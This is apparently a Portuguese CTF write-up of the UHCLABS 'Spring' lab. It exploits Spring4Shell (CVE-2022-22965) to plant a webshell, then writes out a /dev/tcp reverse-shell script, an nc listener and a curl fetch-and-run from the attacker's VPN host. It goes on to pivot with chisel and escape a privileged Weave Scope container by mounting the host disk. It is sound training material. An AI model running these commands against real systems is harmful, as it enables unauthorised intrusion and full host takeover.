Home Writeup Spring -UHCLABS
Post
Cancel

Writeup Spring -UHCLABS

Inicialmente foi realizada uma varredura de portas para o IP, em busca de serviços com versões expostas e que contenham vulnerabilidades publicas.

Desktop View

Vendo as portas 80,8080 abertas, e foi realizado o acesso a ambas, e possível ver um site para porta 80, e uma mensagem de erro 404 na porta 8080

Desktop View

O erro nos indica se tratar de um Spring boot, então buscamos realizar uma forca bruta de arquivos e diretórios neste host, foi possível identificar o arquivo teste que retorna um hello word ao ser acessado.

Desktop View

Desktop View

Buscamos então por vulnerabilidade e foi possível encontrar o exploit publico de CVE 2022–22965 (Spring4Shell, SpringShell) que é uma vulnerabilidade no Spring Framework usa uma funcionalidade de vinculação de dados para vincular dados armazenados em uma solicitação HTTP a determinados aplicativos por um aplicativo.

O bug existe no método getCachedIntrospectionResults, que pode ser usado para obter não autorizados a tais objetos passando seus nomes de classe por meio de uma solicitação HTTP. Ele cria os riscos de vazamento de dados e execução remota de código de classes de objetos especiais são usados.

Para mais informações acesse o link abaixo: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

Sabendo do que se trata podemos utilizar o exploit abaixo, que basicamente irá fazer um upload de uma webshell: https://github.com/lunasec-io/Spring4Shell-POC

Executamos o exploit:

Desktop View

Após ele ter feito o upload da webshell, podemos executar comandos remotamente no servidor

Desktop View

Tentamos então “trigar” uma “reverse-shell”, criei um arquivo com o código

1
2
3
4
    #!/bin/bash

    /bin/bash -c ‘sh -i >& /dev/tcp/ip-vpn/443 0>&1’

Deixei minha maquina executando na porta 443 com o ncat

1
    nc -nvlp 443

Abri uma porta 80 com o SimpleHTTPServer do python

1
    python2.7 -m SimpleHTTPServer 80

Utilizei o curl para fazer uma requisição para o nosso IP da vpn pegando a nossa payload e executando

1
2
3
    curl http://ip-vpn/shell.sh -o /shell.sh

    sh /shell.sh

Recebemos a shell

Desktop View

Irei mudar de shell simples para um interativo

1
2
3
4
5
6
    python3 -c “import pty;pty.spawn(‘/bin/bash’)”
    Ctrl+Z
    Write-Up — Spring8stty raw -echo;fg
    Enter
    export TERM=xterm

Desktop View

Depois foi só pesquisar a primeira flag(não vou evidenciar aqui, por basta somente procurar no host)

Para escalar lateralmente fizemos uma busca no host e foi possível identificar o IP do host 172.17.0.3

Desktop View

Como o servidor não tem o nmap, podemos baixar um nmap estático e em seguida enviaremos para o servidor.

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

Desktop View

Fizemos um namp na rede para buscar IP ativos, encontramos dois, vamos focar no 172.17.0.2

Desktop View

Realizamos um varredura nesse host e identificamos a porta 4040 aberta

Desktop View

fazendo uma requisição a esta porta podemos notar que se trata de uma aplicação web → Weave Scope, é uma ferramenta de visualização e monitoramento para Docker e Kubernetes Por padrão o Weave scope precisa subir em um docker privilegiado, sabendo disso podemos montar o disco do sistema principal dentro do docker do Weave scope.

Desktop View

Para realizar o pivoting vamos usar a ferramenta chisel

https://github.com/jpillora/chisel

No servidor iremos abrir uma porta 9000 e no cliente apontaremos a conexão do host 172.17.0.2 para essa porta, assim conseguimos acessa localmente.

Desktop View

Desktop View

Podemos ver o terminal do Weave Scope, e com isso listar as partições.

Desktop View

Agora podemos montar a partição na pasta mnt e ter acesso a flag

Desktop View

obs: os ips podem estar diferente em prints pois houve a necessidade de restart do host

This post is licensed under CC BY 4.0 by the author.